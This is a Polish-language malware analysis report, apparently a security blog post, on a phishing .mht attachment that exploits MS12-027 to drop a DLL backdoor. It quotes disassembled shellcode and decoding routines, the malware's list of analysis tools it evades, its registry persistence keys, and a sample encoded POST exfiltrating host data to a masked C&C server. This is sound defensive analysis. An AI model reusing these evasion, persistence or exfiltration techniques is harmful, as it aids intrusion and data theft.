1/10 mht, MS12-27 oraz *malware*.info malware.prevenity.com/2014/08/malware-info.html Przedstawiamy skrócony opis z analizy złośliwego oprogramowania rozsyłanego do instytucji rządowych. Plik załączany do wiadomości email miał rozszerzenie mht (MD5: D3DE5B8500453107D6D152B3C8506935). Poniżej fragment zawartości pliku. CLSID związany jest z błędem przepełnienia bufora w kontrolce ActiveX – MSCOMCTL.OCX (MS12-27). Wyodrębniony obiekt ocxstg001.mso po odkodowaniu base64 zawiera exploit: W pliku mht można też zidentyfikować inny shellcode, którego celem jest między innymi zapisanie w TMP i uruchomienie kolejnej instancji WinWord.exe z nowym (podstawionym) plikiem - MH17.doc (treść dokumentu dotyczy katastrofy MH17) oraz wywołanie biblioteki DLL. Bibliotekę możemy również wyodrębnić samodzielnie z pliku mht. http://malware.prevenity.com/2014/08/malware-info.html http://1.bp.blogspot.com/-FgY_UoJHJ0I/U-jfqnvBrDI/AAAAAAAAABc/YgLhr2IFmNs/s1600/01_mht_inside_1.png http://3.bp.blogspot.com/-ijerpe2aRk8/U-jfq0cYyGI/AAAAAAAAACU/bmIOZhjWwfs/s1600/02_mso_inside_1.png 2/10 Fragment drugiego shellcode: seg000:000001E9 cld seg000:000001EA rep movsb seg000:000001EC mov [edx+0A4h], edi seg000:000001F2 mov eax, [edx+20h] seg000:000001F5 push 0 seg000:000001FA push 0 seg000:000001FF push 2 seg000:00000204 push 0 seg000:00000209 push 0 seg000:0000020E push 4 seg000:00000213 mov ebx, [edx+8Ch] seg000:00000219 push ebx seg000:0000021A call eax W efekcie po wykorzystaniu podatności na komputerze ofiary w katalogu TMP tworzone są dwa pliki: MH17.doc Instalator złośliwego oprogramowania (DLL) w.q – MD5: 16A6C56BA458EC718B4E9BC8F9F10785 Biblioteka DLL oprócz standardowej funkcji DllEntryPoint() eksportuje dwie dodatkowe funkcje Start() oraz Start717(void*). Start717 na początku wykonuje sprawdzenia czy system operacyjny nie jest "monitorowany" i dopiero wtedy "instaluje" jedną z dwóch bibliotek głównych. Większość danych statycznych (komendy, nazwy funkcji, nazwy plików) w analizowanej bibliotece jest zakodowana. 3/10 Fragment kodu wywołujący funkcję odkodowującą dane poniżej: .text:70891190 sub_70891190 proc near ; CODE XREF: Start717(void *)+59p .text:70891190 push esi .text:70891191 push edi .text:70891192 push offset unk_7089B000 ; klucz .text:70891197 push 0 .text:70891199 push 99h ; ilość danych do odkodowania .text:7089119E push offset LibFileName .text:708911A3 mov esi, ecx .text:708911A5 call odkoduj_1 ; odkoduj nazwy funkcji i bibliotek .text:708911AA push offset unk_7089B000 ; klucz .text:708911AF push 0 .text:708911B1 push 2E6h ; ilość danych do odkodowania .text:708911B6 push offset word_7089B0A8 .text:708911BB call odkoduj_1 ; odkoduj nazwy procesow .text:708911C0 mov edi, ds:LoadLibraryA .text:708911C6 push offset LibFileName ; lpLibFileName .text:708911CB call edi ; LoadLibraryA .text:708911CD push offset aIboq4i ; "msvcrt.dll" .text:708911D2 mov [esi], eax .text:708911D4 call edi ; LoadLibraryA 4/10 .text:708911D6 mov [esi+4], eax .text:708911D9 pop edi .text:708911DA mov eax, esi .text:708911DC pop esi .text:708911DD retn .text:708911DD sub_70891190 endp Poniższy fragment kodu odpowiada za odkodowanie nazw bibliotek, funkcji i aplikacji "monitorujących". Użyty klucz FE95279A46B28136. .text:70891076 mov dl, byte ptr [ebp+arg_4+3] .text:70891079 .text:70891079 loc_70891079: ; CODE XREF: sub_70891000+70j .text:70891079 add dl, cl .text:7089107B lea ebx, [edi+eax+2] .text:7089107F and ebx, 7 .text:70891082 xor dl, [ebx+esi] ;pozycja w tablicy xor kolejny znak klucza .text:70891085 lea ebx, [edi+eax+1] .text:70891089 and ebx, 7 .text:7089108C and dl, [ebx+esi] .text:7089108F inc ecx .text:70891090 mov bl, dl .text:70891092 lea edx, [esi+edi-1] .text:70891096 movzx edx, byte ptr [edx+eax] 5/10 .text:7089109A imul edx, eax .text:7089109D add edi, eax .text:7089109F shr edx, 7 .text:708910A2 and edi, 7 .text:708910A5 xor dl, [edi+esi] .text:708910A8 mov edi, [ebp+var_8] .text:708910AB add bl, dl .text:708910AD mov edx, [ebp+arg_0] .text:708910B0 xor [edx+eax], bl ;odkodowany znak .text:708910B3 inc eax .text:708910B4 cmp ecx, 8 ;dł klucza .text:708910B7 jb short loc_70891076 Odkodowana pierwsza część danych: Poniżej lista aplikacji po wykryciu których malware kończy działanie: netsniffer.exe windump.exe winapioverride32.exe tcpview.exe vboxservice.exe procexp.exe wireshark.exe regmon.exe procmon.exe iris.exe petools.exe filemon.exe http://4.bp.blogspot.com/-7qv_OIV2rt4/U-jfrM1OQ_I/AAAAAAAAABg/kqQ-cWczo6M/s1600/03_decrypt_dll1_1.png 6/10 vboxtray.exe tcpdump.exe apimonitor.exe odb.exe apispy32.exe comview.exe winspy.exe vmtools.exe vmwaretray.exe immunitydebugger.exe syser.exe dumpcap.exe vmwareuser.exe ollydbg.exe windbg.exe idag.exe Kolejna zastosowana metoda wykrywania debuggera polega na dwukrotnym wywołaniu funkcji GetTickCount(). Jeśli różnica w zwracanej wartości jest zbyt duża – zwracana wartość 1 powoduję wyłączenie malware. .text:70891394 mov esi, eax .text:70891396 call ebx ; GetTickCount .text:70891398 push eax .text:70891399 call [ebp+var_4] ; srand .text:7089139C add esp, 4 .text:7089139F call esi ; rand .text:708913A1 call ebx ; GetTickCount .text:708913A3 mov [ebp+var_4], eax .text:708913A6 mov edi, 186A0h .text:708913AB jmp short loc_708913B0 .text:708913B0 loc_708913B0: ; CODE XREF: sub_70891360+4Bj 7/10 .text:708913B0 ; sub_70891360+55j .text:708913B0 call esi ; rand .text:708913B2 call esi ; rand .text:708913B4 dec edi .text:708913B5 jnz short loc_708913B0 .text:708913B7 call ebx ; GetTickCount .text:708913B9 sub eax, [ebp+var_4] .text:708913BC pop edi .text:708913BD cmp eax, 14h ; porównaj rezultat .text:708913C0 sbb eax, eax Jeśli uruchomiony kod nie wykryje nic podejrzanego na stacji roboczej instalowane jest złośliwe oprogramowanie: W katalogu C:\Users\\AppData\Local\Microsoft\Windows tworzy kolejny plik – coreshell.dll (MD5: 48656A93F9BA39410763A2196AABC67F) Do rejestrów dodawany jest klucz HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CoreShell z zawartością: “RUNDLL32.exe „C:\Users\ \AppData\Local\Microsoft\Windows\coreshell.dll”,#1 Jeśli instalator ma uprawnienia lokalnego administratora to również utworzy: HKLM\Software\Classes\CLSID\{ EF7652A4-98EF-5031-226B-11456C96A7EA }\INProcServer32 wskazując na coreshell.dll oraz funkcję Applicate() Złośliwe oprogramowanie ma zaimplementowany mechanizm zdalnego wykonywania komend oraz pobierania i uruchamiania plików. Jednym z pierwszych czynności jest pobranie z serwera C&C kolejnej biblioteki: advstoreshell.dll (MD5: D7A625779DF56D874871BB632F3E3106). Inny instalowany (dodawany do klucza RUN) na stacji roboczej plik to: conhost.dll (MD5: 5F69014A482DC115A93A80A486BB2842). Do serwerów C&C wysyłane są też informacje o zainfekowanym hoście (np. wynik systeminfo) czy uruchomionych procesach. Zebranie informacje przed wysłaniem są 8/10 szyfrowanie (wykonywany dwa razy XOR na różnych pozycjach klucza i indeksie tablicy z danymi do zakodowania) oraz kodowane do base64. Klucz ma długość 6 bajtów. Próbka zebranych informacji: [System Process] ID:0 Path:00000057 System ID:4 Path:00000005 smss.exe ID:272 Path:00000005 csrss.exe ID:364 Path:00000005 wininit.exe ID:404 Path:00000005 csrss.exe ID:416 Path:00000005 services.exe ID:456 Path:00000005 lsass.exe ID:496 Path:00000005 lsm.exe ID:504 Path:00000005 winlogon.exe ID:512 Path:00000005 svchost.exe ID:632 Path:00000005 svchost.exe ID:696 Path:00000005 svchost.exe ID:744 Path:00000005 svchost.exe ID:832 Path:00000005 svchost.exe ID:904 Path:00000005 svchost.exe ID:1040 Path:00000005 svchost.exe ID:1124 Path:00000005 http://3.bp.blogspot.com/-uuLLkDvxkBs/U-jfrkm41gI/AAAAAAAAABo/VHJQgUAkIfI/s1600/04_decrypt_internal_2.png 9/10 spoolsv.exe ID:1304 Path:00000005 dwm.exe ID:1328 Path:C:\Windows\system32\Dwm.exe explorer.exe ID:1352 Path:C:\Windows\Explorer.EXE … I ich zakodowana wersja: POST /check/ HTTP/1.1 User-Agent: MSIE 8.0 Host: malware*****.info Content-Length: 3408 Pragma: no-cache PmBn4Hb4AFtG5m/pFF4A7Uny/WJR43fbM0U/6WDEOVAKvLdUHlQiws1hQXdGyZlG Q3osvz0zdYZ1wjJAe3kDyCHNt2xmHuI1Qm8MJZM+JWsJG5wvCB5LHr0YLxFTJMcB ASUH+r8qRBA9AeebBgNzB9iHfBdR+teMIgpaAO95KzX/Vx2GpDkJXWGTuDwAYy/4 lC/vVh3k+CuWXGLV8C6yY3P+5jEEOVbnt9ROPA1Qq+CsMnhhgeO6OHJKdcaCPyEy 3crElSPfz9WamErMu/jAnho50PyXlAM+rP/nmwArjfrPcWI70O71dCQkWuGbei0t … Przy każdym zapytaniu POST wysyłanym do serwera C&C generowany jest nowy klucz „sesji” i dołączany do przesyłanej wiadomości. http://1.bp.blogspot.com/-JlYx5ZwtIGQ/U-jfsMHnelI/AAAAAAAAABw/yWbbSQXGfQY/s1600/05_crypt_internal_1.png 10/10 Przesyłane wiadomości są oznaczane nagłówkami np. crtf (błędy), strtf (log) czy mtfs (informacje). Inne znaczniki wykorzystywane przez malware to ldrt, virt, crth, extc. Nazwy funkcji i bibliotek w pamięci przechowywane są w formie zaszyfrowanej oraz w odwrotnej kolejności. Przed pobraniem adresu funkcji na krótko przywracana jest właściwa kolejność znaków aby następnie wywołać GetProcAddress(). Dane o większym rozmiarze są najpierw kompresowane za pomocą LZW a następnie szyfrowane algorytmem 3DES. Poniżej parametry wywołania funkcji CryptGenKey: Oraz przykładowy klucz wykorzystany do szyfrowania przesyłanych plików. Pliki w formie zaszyfrowanej znajdują się w katalogu TMP (np. __2315tmp.dat) zainfekowanego użytkownika: Malware łączy się serwerem za pomocą http. Wykorzystuje ustawienia proxy. Poniżej lista aktywnych serwerów: ****malware.info malware*****.info ********-update.org ****service24.net *******-update.com http://2.bp.blogspot.com/-2rtC89TjEBI/U-jfsfF0mUI/AAAAAAAAAB0/o6LQykQwHc4/s1600/06_reverse_order_1.png http://1.bp.blogspot.com/-dGFa4OwrchU/U-jftD7QS5I/AAAAAAAAAB4/JQECY2mjVjA/s1600/07_stack_cryptgenkey.png http://3.bp.blogspot.com/-vUSSIY8Attk/U-jft2w249I/AAAAAAAAACA/UoSu5fIXeNA/s1600/08_crypt_internal_2.png